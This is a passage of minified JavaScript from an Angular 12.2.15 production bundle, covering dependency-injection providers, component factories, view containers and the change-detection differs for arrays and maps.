zh(o,t,p>-1?p:f,Gh(n[i?f:p],c,!i&&r));!i&&r&&m&&n[f].componentProviders++}}}function zh(t,e,n,r){const i=Ra(e);if(i||function(t){return!!t.useClass}(e)){const o=(e.useClass||e).prototype.ngOnDestroy;if(o){const s=t.destroyHooks||(t.destroyHooks=[]);if(!i&&e.multi){const t=s.indexOf(n);-1===t?s.push(n,[r,o]):s[t+1].push(r,o)}else s.push(n,o)}}}function Gh(t,e,n){return n&&t.componentProviders++,t.multi.push(e)-1}function Uh(t,e,n,r){for(let i=n;i<r;i++)if(e[i]===t)return i;return-1}function qh(t,e,n,r){return Kh(this.multi,[])}function Wh(t,e,n,r){const i=this.multi;let o;if(this.providerFactory){const t=this.providerFactory.componentProviders,e=bn(n,n[1],this.providerFactory.index,r);o=e.slice(0,t),Kh(i,o);for(let n=t;n<e.length;n++)o.push(e[n])}else o=[],Kh(i,o);return o}function Kh(t,e){for(let n=0;n<t.length;n++)e.push((0,t[n])());return e}function $h(t,e=[]){return n=>{n.providersResolver=(n,r)=>function(t,e,n){const r=ie();if(r.firstCreatePass){const i=wt(t);Hh(n,r.data,r.blueprint,i,!0),Hh(e,r.data,r.blueprint,i,!1)}}(n,r?r(t):t,e)}}class Qh{}class Xh{}function Zh(t){const e=Error(`No component factory found for ${h(t)}. Did you add it to @NgModule.entryComponents?`);return e[Yh]=t,e}const Yh="ngComponent";class Jh{resolveComponentFactory(t){throw Zh(t)}}let tp=(()=>{class t{}return t.NULL=new Jh,t})();class ep{constructor(t,e,n){this._parent=e,this._ngModule=n,this._factories=new Map;for(let r=0;r<t.length;r++){const e=t[r];this._factories.set(e.componentType,e)}}resolveComponentFactory(t){let e=this._factories.get(t);if(!e&&this._parent&&(e=this._parent.resolveComponentFactory(t)),!e)throw Zh(t);return new np(e,this._ngModule)}}class np extends Xh{constructor(t,e){super(),this.factory=t,this.ngModule=e,this.selector=t.selector,this.componentType=t.componentType,this.ngContentSelectors=t.ngContentSelectors,this.inputs=t.inputs,this.outputs=t.outputs}create(t,e,n,r){return this.factory.create(t,e,n,r||this.ngModule)}}function rp(...t){}function ip(){return op(se(),re())}function op(t,e){return new cp(Ut(t,e))}const sp=ip,ap=sp;let cp=(()=>{class t{constructor(t){this.nativeElement=t}}return t.__NG_ELEMENT_ID__=ap,t})();function lp(t){return t instanceof cp?t.nativeElement:t}class up{}let dp=(()=>{class t{}return t.__NG_ELEMENT_ID__=()=>pp(),t})();const hp=fp,pp=hp;function fp(){const t=re(),e=Kt(se().index,t);return function(t){return t[11]}(yt(e)?e:t)}let gp=(()=>{class t{}return t.\u0275prov=x({token:t,providedIn:"root",factory:()=>null}),t})();class mp{constructor(t){this.full=t,this.major=t.split(".")[0],this.minor=t.split(".")[1],this.patch=t.split(".").slice(2).join(".")}}const yp=new mp("12.2.15");class bp{constructor(){}supports(t){return _c(t)}create(t){return new _p(t)}}const vp=(t,e)=>e;class _p{constructor(t){this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=t||vp}forEachItem(t){let e;for(e=this._itHead;null!==e;e=e._next)t(e)}forEachOperation(t){let e=this._itHead,n=this._removalsHead,r=0,i=null;for(;e||n;){const o=!n||e&&e.currentIndex<Pp(n,r,i)?e:n,s=Pp(o,r,i),a=o.currentIndex;if(o===n)r--,n=n._nextRemoved;else if(e=e._next,null==o.previousIndex)r++;else{i||(i=[]);const t=s-r,e=a-r;if(t!=e){for(let n=0;n<t;n++){const r=n<i.length?i[n]:i[n]=0,o=r+n;e<=o&&o<t&&(i[n]=r+1)}i[o.previousIndex]=e-t}}s!==a&&t(o,s,a)}}forEachPreviousItem(t){let e;for(e=this._previousItHead;null!==e;e=e._nextPrevious)t(e)}forEachAddedItem(t){let e;for(e=this._additionsHead;null!==e;e=e._nextAdded)t(e)}forEachMovedItem(t){let e;for(e=this._movesHead;null!==e;e=e._nextMoved)t(e)}forEachRemovedItem(t){let e;for(e=this._removalsHead;null!==e;e=e._nextRemoved)t(e)}forEachIdentityChange(t){let e;for(e=this._identityChangesHead;null!==e;e=e._nextIdentityChange)t(e)}diff(t){if(null==t&&(t=[]),!_c(t))throw new Error(`Error trying to diff '${h(t)}'. Only arrays and iterables are allowed`);return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let e,n,r,i=this._itHead,o=!1;if(Array.isArray(t)){this.length=t.length;for(let e=0;e<this.length;e++)n=t[e],r=this._trackByFn(e,n),null!==i&&Object.is(i.trackById,r)?(o&&(i=this._verifyReinsertion(i,n,r,e)),Object.is(i.item,n)||this._addIdentityChange(i,n)):(i=this._mismatch(i,n,r,e),o=!0),i=i._next}else e=0,function(t,e){if(Array.isArray(t))for(let n=0;n<t.length;n++)e(t[n]);else{const n=t[yc()]();let r;for(;!(r=n.next()).done;)e(r.value)}}(t,t=>{r=this._trackByFn(e,t),null!==i&&Object.is(i.trackById,r)?(o&&(i=this._verifyReinsertion(i,t,r,e)),Object.is(i.item,t)||this._addIdentityChange(i,t)):(i=this._mismatch(i,t,r,e),o=!0),i=i._next,e++}),this.length=e;return this._truncate(i),this.collection=t,this.isDirty}get isDirty(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}_reset(){if(this.isDirty){let t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}_mismatch(t,e,n,r){let i;return null===t?i=this._itTail:(i=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null))?(Object.is(t.item,e)||this._addIdentityChange(t,e),this._reinsertAfter(t,i,r)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(n,r))?(Object.is(t.item,e)||this._addIdentityChange(t,e),this._moveAfter(t,i,r)):t=this._addAfter(new Cp(e,n),i,r),t}_verifyReinsertion(t,e,n,r){let i=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null);return null!==i?t=this._reinsertAfter(i,t._prev,r):t.currentIndex!=r&&(t.currentIndex=r,this._addToMoves(t,r)),t}_truncate(t){for(;null!==t;){const e=t._next;this._addToRemovals(this._unlink(t)),t=e}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}_reinsertAfter(t,e,n){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);const r=t._prevRemoved,i=t._nextRemoved;return null===r?this._removalsHead=i:r._nextRemoved=i,null===i?this._removalsTail=r:i._prevRemoved=r,this._insertAfter(t,e,n),this._addToMoves(t,n),t}_moveAfter(t,e,n){return this._unlink(t),this._insertAfter(t,e,n),this._addToMoves(t,n),t}_addAfter(t,e,n){return this._insertAfter(t,e,n),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}_insertAfter(t,e,n){const r=null===e?this._itHead:e._next;return t._next=r,t._prev=e,null===r?this._itTail=t:r._prev=t,null===e?this._itHead=t:e._next=t,null===this._linkedRecords&&(this._linkedRecords=new xp),this._linkedRecords.put(t),t.currentIndex=n,t}_remove(t){return this._addToRemovals(this._unlink(t))}_unlink(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);const e=t._prev,n=t._next;return null===e?this._itHead=n:e._next=n,null===n?this._itTail=e:n._prev=e,t}_addToMoves(t,e){return t.previousIndex===e||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}_addToRemovals(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new xp),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}_addIdentityChange(t,e){return t.item=e,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}class Cp{constructor(t,e){this.item=t,this.trackById=e,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null}}class wp{constructor(){this._head=null,this._tail=null}add(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}get(t,e){let n;for(n=this._head;null!==n;n=n._nextDup)if((null===e||e<=n.currentIndex)&&Object.is(n.trackById,t))return n;return null}remove(t){const e=t._prevDup,n=t._nextDup;return null===e?this._head=n:e._nextDup=n,null===n?this._tail=e:n._prevDup=e,null===this._head}}class xp{constructor(){this.map=new Map}put(t){const e=t.trackById;let n=this.map.get(e);n||(n=new wp,this.map.set(e,n)),n.add(t)}get(t,e){const n=this.map.get(t);return n?n.get(t,e):null}remove(t){const e=t.trackById;return this.map.get(e).remove(t)&&this.map.delete(e),t}get isEmpty(){return 0===this.map.size}clear(){this.map.clear()}}function Pp(t,e,n){const r=t.previousIndex;if(null===r)return r;let i=0;return n&&r<n.length&&(i=n[r]),r+e+i}class Sp{constructor(){}supports(t){return t instanceof Map||Cc(t)}create(){return new Mp}}class Mp{constructor(){this._records=new Map,this._mapHead=null,this._appendAfter=null,this._previousMapHead=null,this._changesHead=null,this._changesTail=null,this._additionsHead=null,this._additionsTail=null,this._removalsHead=null,this._removalsTail=null}get isDirty(){return null!==this._additionsHead||null!==this._changesHead||null!==this._removalsHead}forEachItem(t){let e;for(e=this._mapHead;null!==e;e=e._next)t(e)}forEachPreviousItem(t){let e;for(e=this._previousMapHead;null!==e;e=e._nextPrevious)t(e)}forEachChangedItem(t){let e;for(e=this._changesHead;null!==e;e=e._nextChanged)t(e)}forEachAddedItem(t){let e;for(e=this._additionsHead;null!==e;e=e._nextAdded)t(e)}forEachRemovedItem(t){let e;for(e=this._removalsHead;null!==e;e=e._nextRemoved)t(e)}diff(t){if(t){if(!(t instanceof Map||Cc(t)))throw new Error(`Error trying to diff '${h(t)}'. Only maps and objects are allowed`)}else t=new Map;return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let e=this._mapHead;if(this._appendAfter=null,this._forEach(t,(t,n)=>{if(e&&e.key===n)this._maybeAddToChanges(e,t),this._appendAfter=e,e=e._next;else{const r=this._getOrCreateRecordForKey(n,t);e=this._insertBeforeOrAppend(e,r)}}),e){e._prev&&(e._prev._next=null),this._removalsHead=e;for(let t=e;null!==t;t=t._nextRemoved)t===this._mapHead&&(this._mapHead=null),this._records.delete(t.key),t._nextRemoved=t._next,t.previousValue=t.currentValue,t.currentValue=null,t._prev=null,t._next=null}return this._changesTail&&(this._changesTail._nextChanged=null),this._additionsTail&&(this._additionsTail._nextAdded=null),this.isDirty}_insertBeforeOrAppend(t,e){if(t){const n=t._prev;return e._next=t,e._prev=n,t._prev=e,n&&(n._next=e),t===this._mapHead&&(this._mapHead=e),this._appendAfter=t,t}return this._appendAfter?(this._appendAfter._next=e,e._prev=this._appendAfter):this._mapHead=e,this._appendAfter=e,null}_getOrCreateRecordForKey(t,e){if(this._records.has(t)){const n=this._records.get(t);this._maybeAddToChanges(n,e);const r=n._prev,i=n._next;return r&&(r._next=i),i&&(i._prev=r),n._next=null,n._prev=null,n}const n=new Op(t);return this._records.set(t,n),n.currentValue=e,this._addToAdditions(n),n}_reset(){if(this.isDirty){let t;for(this._previousMapHead=this._mapHead,t=this._previousMapHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._changesHead;null!==t;t=t._nextChanged)t.previousValue=t.currentValue;for(t=this._additionsHead;null!=t;t=t._nextAdded)t.previousValue=t.currentValue;this._changesHead=this._changesTail=null,this._additionsHead=this._additionsTail=null,this._removalsHead=null}}_maybeAddToChanges(t,e){Object.is(e,t.currentValue)||(t.previousValue=t.currentValue,t.currentValue=e,this._addToChanges(t))}_addToAdditions(t){null===this._additionsHead?this._additionsHead=this._additionsTail=t:(this._additionsTail._nextAdded=t,this._additionsTail=t)}_addToChanges(t){null===this._changesHead?this._changesHead=this._changesTail=t:(this._changesTail._nextChanged=t,this._changesTail=t)}_forEach(t,e){t instanceof Map?t.forEach(e):Object.keys(t).forEach(n=>e(t[n],n))}}class Op{constructor(t){this.key=t,this.previousValue=null,this.currentValue=null,this._nextPrevious=null,this._next=null,this._prev=null,this._nextAdded=null,this._nextRemoved=null,this._nextChanged=null}}function Ep(){return new Tp([new bp])}let Tp=(()=>{class t{constructor(t){this.factories=t}static create(e,n){if(null!=n){const t=n.factories.slice();e=e.concat(t)}return new t(e)}static extend(e){return{provide:t,useFactory:n=>t.create(e,n||Ep()),deps:[[t,new Mr,new Pr]]}}find(t){const e=this.factories.find(e=>e.supports(t));if(null!=e)return e;throw new Error(`Cannot find a differ supporting object '${t}' of type '${function(t){return t.name||typeof t}(t)}'`)}}return t.\u0275prov=x({token:t,providedIn:"root",factory:Ep}),t})();function Ip(){return new kp([new Sp])}let kp=(()=>{class t{constructor(t){this.factories=t}static create(e,n){if(n){const t=n.factories.slice();e=e.concat(t)}return new t(e)}static extend(e){return{provide:t,useFactory:n=>t.create(e,n||Ip()),deps:[[t,new Mr,new Pr]]}}find(t){const e=this.factories.find(e=>e.supports(t));if(e)return e;throw new Error(`Cannot find a differ supporting object '${t}'`)}}return t.\u0275prov=x({token:t,providedIn:"root",factory:Ip}),t})();function Ap(t,e,n,r,i=!1){for(;null!==n;){const o=e[n.index];if(null!==o&&r.push(zt(o)),bt(o))for(let t=10;t<o.length;t++){const e=o[t],n=e[1].firstChild;null!==n&&Ap(e[1],e,n,r)}const s=n.type;if(8&s)Ap(t,e,n.child,r);else if(32&s){const t=Co(n,e);let i;for(;i=t();)r.push(i)}else if(16&s){const t=Qo(e,n);if(Array.isArray(t))r.push(...t);else{const n=wo(e[16]);Ap(n[1],n,t,r,!0)}}n=i?n.projectionNext:n.next}return r}class Dp{constructor(t,e){this._lView=t,this._cdRefInjectingView=e,this._appRef=null,this._attachedToViewContainer=!1}get rootNodes(){const t=this._lView,e=t[1];return Ap(e,t,e.firstChild,[])}get context(){return this._lView[8]}set context(t){this._lView[8]=t}get destroyed(){return 256==(256&this._lView[2])}destroy(){if(this._appRef)this._appRef.detachView(this);else if(this._attachedToViewContainer){const t=this._lView[3];if(bt(t)){const e=t[8],n=e?e.indexOf(this):-1;n>-1&&(Do(t,n),$n(e,n))}this._attachedToViewContainer=!1}No(this._lView[1],this._lView)}onDestroy(t){Bs(this._lView[1],this._lView,null,t)}markForCheck(){sa(this._cdRefInjectingView||this._lView)}detach(){this._lView[2]&=-129}reattach(){this._lView[2]|=128}detectChanges(){ca(this._lView[1],this._lView,this.context)}checkNoChanges(){!function(t,e,n){pe(!0);try{ca(t,e,n)}finally{pe(!1)}}(this._lView[1],this._lView,this.context)}attachToViewContainerRef(){if(this._appRef)throw new Error("This view is already attached directly to the ApplicationRef!");this._attachedToViewContainer=!0}detachFromAppRef(){var t;this._appRef=null,Jo(this._lView[1],t=this._lView,t[11],2,null,null)}attachToAppRef(t){if(this._attachedToViewContainer)throw new Error("This view is already attached to a ViewContainer!");this._appRef=t}}class Np extends Dp{constructor(t){super(t),this._view=t}detectChanges(){la(this._view)}checkNoChanges(){!function(t){pe(!0);try{la(t)}finally{pe(!1)}}(this._view)}get context(){return null}}const Rp=Fp,Lp=Rp;let jp=(()=>{class t{}return t.__NG_ELEMENT_ID__=Lp,t})();function Fp(t){return function(t,e,n){if(_t(t)&&!n){const n=Kt(t.index,e);return new Dp(n,n)}return 47&t.type?new Dp(e[16],e):null}(se(),re(),16==(16&t))}const Vp=[new Sp],Bp=new Tp([new bp]),Hp=new kp(Vp),zp=Kp,Gp=zp;let Up=(()=>{class t{}return t.__NG_ELEMENT_ID__=Gp,t})();const qp=Up,Wp=class extends qp{constructor(t,e,n){super(),this._declarationLView=t,this._declarationTContainer=e,this.elementRef=n}createEmbeddedView(t){const e=this._declarationTContainer.tViews,n=Ms(this._declarationLView,e,t,16,null,e.declTNode,null,null,null,null);n[17]=this._declarationLView[this._declarationTContainer.index];const r=this._declarationLView[19];return null!==r&&(n[19]=r.createEmbeddedView(e)),Is(e,n,t),new Dp(n)}};function Kp(){return $p(se(),re())}function $p(t,e){return 4&t.type?new Wp(e,t,op(t,e)):null}class Qp{}class Xp{}const Zp=tf,Yp=Zp;let Jp=(()=>{class t{}return t.__NG_ELEMENT_ID__=Yp,t})();function tf(){return sf(se(),re())}const ef=Jp,nf=class extends ef{constructor(t,e,n){super(),this._lContainer=t,this._hostTNode=e,this._hostLView=n}get element(){return op(this._hostTNode,this._hostLView)}get injector(){return new Cn(this._hostTNode,this._hostLView)}get parentInjector(){const t=cn(this._hostTNode,this._hostLView);if(Ye(t)){const e=tn(t,this._hostLView),n=Je(t);return new Cn(e[1].data[n+8],e)}return new Cn(null,this._hostLView)}clear(){for(;this.length>0;)this.remove(this.length-1)}get(t){const e=rf(this._lContainer);return null!==e&&e[t]||null}get length(){return this._lContainer.length-10}createEmbeddedView(t,e,n){const r=t.createEmbeddedView(e||{});return this.insert(r,n),r}createComponent(t,e,n,r,i){const o=n||this.parentInjector;if(!i&&null==t.ngModule&&o){const t=o.get(Qp,null);t&&(i=t)}const s=t.create(o,r,void 0,i);return this.insert(s.hostView,e),s}insert(t,e){const n=t._lView,r=n[1];if(bt(n[3])){const e=this.indexOf(t);if(-1!==e)this.detach(e);else{const e=n[3],r=new nf(e,e[6],e[3]);r.detach(r.indexOf(t))}}const i=this._adjustIndex(e),o=this._lContainer;!function(t,e,n,r){const i=10+r,o=n.length;r>0&&(n[i-1][4]=e),r<o-10?(e[4]=n[i],Kn(n,10+r,e)):(n.push(e),e[4]=null),e[3]=n;const s=e[17];null!==s&&n!==s&&function(t,e){const n=t[9];e[16]!==e[3][3][16]&&(t[2]=!0),null===n?t[9]=[e]:n.push(e)}(s,e);const a=e[19];null!==a&&a.insertView(t),e[2]|=128}(r,n,o,i);const s=Xo(i,o),a=n[11],c=Ho(a,o[7]);return null!==c&&function(t,e,n,r,i,o){r[0]=i,r[6]=e,Jo(t,r,n,1,i,o)}(r,o[6],a,n,c,s),t.attachToViewContainerRef(),Kn(of(o),i,t),t}move(t,e){return this.insert(t,e)}indexOf(t){const e=rf(this._lContainer);return null!==e?e.indexOf(t):-1}remove(t){const e=this._adjustIndex(t,-1),n=Do(this._lContainer,e);n&&($n(of(this._lContainer),e),No(n[1],n))}detach(t){const e=this._adjustIndex(t,-1),n=Do(this._lContainer,e);return n&&null!=$n(of(this._lContainer),e)?new Dp(n):null}_adjustIndex(t,e=0){return null==t?this.length+e:t}};function rf(t){return t[8]}function of(t){return t[8]||(t[8]=[])}function sf(t,e){let n;const r=e[t.index];if(bt(r))n=r;else{let i;if(8&t.type)i=zt(r);else{const n=e[11];i=n.createComment("");const r=Ut(t,e);Fo(n,Ho(n,r),i,function(t,e){return Bt(t)?t.nextSibling(e):e.nextSibling}(n,r),!1)}e[t.index]=n=ea(r,e,i,t),oa(e,n)}return new nf(n,t,e)}function af(t,e,n,r){let i=`ExpressionChangedAfterItHasBeenCheckedError: Expression has changed after it was checked. Previous value: '${e}'. Current value: '${n}'.`;return r&&(i+=" It seems like the view has been created after its parent and its children have been dirty checked. Has it been created in a change detection hook ?"),function(t,e){const n=new Error(t);return cf(n,e),n}(i,t)}function cf(t,e){t[Yi]=e,t[to]=e.logError.bind(e)}function lf(t){return new Error(`ViewDestroyedError: Attempt to use a destroyed view: ${t}`)}function uf(t,e,n){const r=t.state,i=1792&r;return i===e?(t.state=-1793&r|n,t.initIndex=-1,!0):i===n}function df(t,e,n){return(1792&t.state)===e&&t.initIndex<=n&&(t.initIndex=n+1,!0)}function hf(t,e){return t.nodes[e]}function pf(t,e){return t.nodes[e]}function ff(t,e){return t.nodes[e]}function gf(t,e){return t.nodes[e]}function mf(t,e){return t.nodes[e]}class yf{}const bf={setCurrentNode:void 0,createRootView:void 0,createEmbeddedView:void 0,createComponentView:void 0,createNgModuleRef:void 0,overrideProvider:void 0,overrideComponentView:void 0,clearOverrides:void 0,checkAndUpdateView:void 0,checkNoChangesView:void 0,destroyView:void 0,resolveDep:void 0,createDebugContext:void 0,handleEvent:void 0,updateDirectives:void 0,updateRenderer:void 0,dirtyParentQueries:void 0},vf=()=>{},_f=new Map;function Cf(t){let e=_f.get(t);return e||(e=h(t)+"_"+_f.size,_f.set(t,e)),e}function wf(t,e,n,r){if(vc.isWrapped(r)){r=vc.unwrap(r);const i=t.def.nodes[e].bindingIndex+n,o=vc.unwrap(t.oldValues[i]);t.oldValues[i]=new vc(o)}return r}const xf="$$undefined",Pf="$$empty";function Sf(t){return{id:xf,styles:t.styles,encapsulation:t.encapsulation,data:t.data}}let Mf=0;function Of(t,e,n,r){return!(!(2&t.state)&&Object.is(t.oldValues[e.bindingIndex+n],r))}function Ef(t,e,n,r){return!!Of(t,e,n,r)&&(t.oldValues[e.bindingIndex+n]=r,!0)}function Tf(t,e,n,r){const i=t.oldValues[e.bindingIndex+n];if(1&t.state||!bc(i,r)){const o=e.bindings[n].name;throw af(bf.createDebugContext(t,e.nodeIndex),`${o}: ${i}`,`${o}: ${r}`,0!=(1&t.state))}}function If(t){let e=t;for(;e;)2&e.def.flags&&(e.state|=8),e=e.viewContainerParent||e.parent}function kf(t,e){let n=t;for(;n&&n!==e;)n.state|=64,n=n.viewContainerParent||n.parent}function Af(t,e,n,r){try{return If(33554432&t.def.nodes[e].flags?pf(t,e).componentView:t),bf.handleEvent(t,e,n,r)}catch(i){t.root.errorHandler.handleError(i)}}function Df(t){return t.parent?pf(t.parent,t.parentNodeDef.nodeIndex):null}function Nf(t){return t.parent?t.parentNodeDef.parent:null}function Rf(t,e){switch(201347067&e.flags){case 1:return pf(t,e.nodeIndex).renderElement;case 2:return hf(t,e.nodeIndex).renderText}}function Lf(t,e){return t?`${t}:${e}`:e}function jf(t){return!!t.parent&&!!(32768&t.parentNodeDef.flags)}function Ff(t){return!(!t.parent||32768&t.parentNodeDef.flags)}function Vf(t){return 1<<t%32}function Bf(t){const e={};let n=0;const r={};return t&&t.forEach(([t,i])=>{"number"==typeof t?(e[t]=i,n|=Vf(t)):r[t]=i}),{matchedQueries:e,references:r,matchedQueryIds:n}}function Hf(t,e){return t.map(t=>{let n,r;return Array.isArray(t)?[r,n]=t:(r=0,n=t),n&&("function"==typeof n||"object"==typeof n)&&e&&Object.defineProperty(n,ur,{value:e,configurable:!0}),{flags:r,token:n,tokenKey:Cf(n)}})}function zf(t,e,n){let r=n.renderParent;return r?0==(1&r.flags)||0==(33554432&r.flags)||r.element.componentRendererType&&(r.element.componentRendererType.encapsulation===z.ShadowDom||1===r.element.componentRendererType.encapsulation)?pf(t,n.renderParent.nodeIndex).renderElement:void 0:e}const Gf=new WeakMap;function Uf(t){let e=Gf.get(t);return e||(e=t(()=>vf),e.factory=t,Gf.set(t,e)),e}function qf(t,e,n,r,i){3===e&&(n=t.renderer.parentNode(Rf(t,t.def.lastRenderRootNode))),Wf(t,e,0,t.def.nodes.length-1,n,r,i)}function Wf(t,e,n,r,i,o,s){for(let a=n;a<=r;a++){const n=t.def.nodes[a];11&n.flags&&$f(t,n,e,i,o,s),a+=n.childCount}}function Kf(t,e,n,r,i,o){let s=t;for(;s&&!jf(s);)s=s.parent;const a=s.parent,c=Nf(s),l=c.nodeIndex+c.childCount;for(let u=c.nodeIndex+1;u<=l;u++){const t=a.def.nodes[u];t.ngContentIndex===e&&$f(a,t,n,r,i,o),u+=t.childCount}if(!a.parent){const s=t.root.projectableNodes[e];if(s)for(let e=0;e<s.length;e++)Qf(t,s[e],n,r,i,o)}}function $f(t,e,n,r,i,o){if(8&e.flags)Kf(t,e.ngContent.index,n,r,i,o);else{const s=Rf(t,e);if(3===n&&33554432&e.flags&&48&e.bindingFlags?(16&e.bindingFlags&&Qf(t,s,n,r,i,o),32&e.bindingFlags&&Qf(pf(t,e.nodeIndex).componentView,s,n,r,i,o)):Qf(t,s,n,r,i,o),16777216&e.flags){const s=pf(t,e.nodeIndex).viewContainer._embeddedViews;for(let t=0;t<s.length;t++)qf(s[t],n,r,i,o)}1&e.flags&&!e.element.name&&Wf(t,n,e.nodeIndex+1,e.nodeIndex+e.childCount,r,i,o)}}function Qf(t,e,n,r,i,o){const s=t.renderer;switch(n){case 1:s.appendChild(r,e);break;case 2:s.insertBefore(r,e,i);break;case 3:s.removeChild(r,e);break;case 0:o.push(e)}}const Xf=/^:([^:]+):(.+)$/;function Zf(t){if(":"===t[0]){const e=t.match(Xf);return[e[1],e[2]]}return["",t]}function Yf(t){let e=0;for(let n=0;n<t.length;n++)e|=t[n].flags;return e}function Jf(t,e){let n="";for(let r=0;r<2*t;r+=2)n=n+e[r]+eg(e[r+1]);return n+e[2*t]}function tg(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y,b,v){switch(t){case 1:return e+eg(n)+r;case 2:return e+eg(n)+r+eg(i)+o;case 3:return e+eg(n)+r+eg(i)+o+eg(s)+a;case 4:return e+eg(n)+r+eg(i)+o+eg(s)+a+eg(c)+l;case 5:return e+eg(n)+r+eg(i)+o+eg(s)+a+eg(c)+l+eg(u)+d;case 6:return e+eg(n)+r+eg(i)+o+eg(s)+a+eg(c)+l+eg(u)+d+eg(h)+p;case 7:return e+eg(n)+r+eg(i)+o+eg(s)+a+eg(c)+l+eg(u)+d+eg(h)+p+eg(f)+g;case 8:return e+eg(n)+r+eg(i)+o+eg(s)+a+eg(c)+l+eg(u)+d+eg(h)+p+eg(f)+g+eg(m)+y;case 9:return e+eg(n)+r+eg(i)+o+eg(s)+a+eg(c)+l+eg(u)+d+eg(h)+p+eg(f)+g+eg(m)+y+eg(b)+v;default:throw new Error("Does not support more than 9 expressions")}}function eg(t){return null!=t?t.toString():""}const ng={},rg={},ig=Cf(Fa),og=Cf(Ca),sg=Cf(Qp);function ag(t,e,n,r){return n=m(n),{index:-1,deps:Hf(r,h(e)),flags:t,token:e,value:n}}function cg(t){const e={},n=[];let r=null;for(let i=0;i<t.length;i++){const o=t[i];o.token===xa&&(r=o.value),1073741824&o.flags&&n.push(o.token),o.index=i,e[Cf(o.token)]=o}return{factory:null,providersByKey:e,providers:t,modules:n,scope:r}}function lg(t,e,n=Fa.THROW_IF_NOT_FOUND){const r=pr(t);try{if(8&e.flags)return e.token;if(2&e.flags&&(n=null),1&e.flags)return t._parent.get(e.token,n);const i=e.tokenKey;switch(i){case ig:case og:case sg:return t}const o=t._def.providersByKey[i];let s;if(o){let e=t._providers[o.index];return void 0===e&&(e=t._providers[o.index]=ug(t,o)),e===rg?void 0:e}if((s=M(e.token))&&function(t,e){const n=m(e.providedIn);return null!=n&&("any"===n||n===t._def.scope||function(t,e){return t._def.modules.indexOf(e)>-1}(t,n))}(t,s)){const n=t._providers.length;return t._def.providers[n]=t._def.providersByKey[e.tokenKey]={flags:5120,value:s.factory,deps:[],index:n,token:e.token},t._providers[n]=rg,t._providers[n]=ug(t,t._def.providersByKey[e.tokenKey])}return 4&e.flags?n:t._parent.get(e.token,n)}finally{pr(r)}}function ug(t,e){let n;switch(201347067&e.flags){case 512:n=function(t,e,n){const r=n.length;switch(r){case 0:return new e;case 1:return new e(lg(t,n[0]));case 2:return new e(lg(t,n[0]),lg(t,n[1]));case 3:return new e(lg(t,n[0]),lg(t,n[1]),lg(t,n[2]));default:const i=[];for(let e=0;e<r;e++)i[e]=lg(t,n[e]);return new e(...i)}}(t,e.value,e.deps);break;case 1024:n=function(t,e,n){const r=n.length;switch(r){case 0:return e();case 1:return e(lg(t,n[0]));case 2:return e(lg(t,n[0]),lg(t,n[1]));case 3:return e(lg(t,n[0]),lg(t,n[1]),lg(t,n[2]));default:const i=[];for(let e=0;e<r;e++)i[e]=lg(t,n[e]);return e(...i)}}(t,e.value,e.deps);break;case 2048:n=lg(t,e.deps[0]);break;case 256:n=e.value}return n!==rg&&null!==n&&"object"==typeof n&&!(131072&e.flags)&&"function"==typeof n.ngOnDestroy&&(e.flags|=131072),void 0===n?rg:n}function dg(t,e){const n=t.viewContainer._embeddedViews;if((null==e||e>=n.length)&&(e=n.length-1),e<0)return null;const r=n[e];return r.viewContainerParent=null,$n(n,e),bf.dirtyParentQueries(r),pg(r),r}function hg(t,e,n){const r=e?Rf(e,e.def.lastRenderRootNode):t.renderElement,i=n.renderer.parentNode(r),o=n.renderer.nextSibling(r);qf(n,2,i,o,void 0)}function pg(t){qf(t,3,null,null,void 0)}const fg={};function gg(t,e,n,r,i,o){return new yg(t,e,n,r,i,o)}function mg(t){return t.viewDefFactory}class yg extends Xh{constructor(t,e,n,r,i,o){super(),this.selector=t,this.componentType=e,this._inputs=r,this._outputs=i,this.ngContentSelectors=o,this.viewDefFactory=n}get inputs(){const t=[],e=this._inputs;for(let n in e)t.push({propName:n,templateName:e[n]});return t}get outputs(){const t=[];for(let e in this._outputs)t.push({propName:e,templateName:this._outputs[e]});return t}create(t,e,n,r){if(!r)throw new Error("ngModule should be provided");const 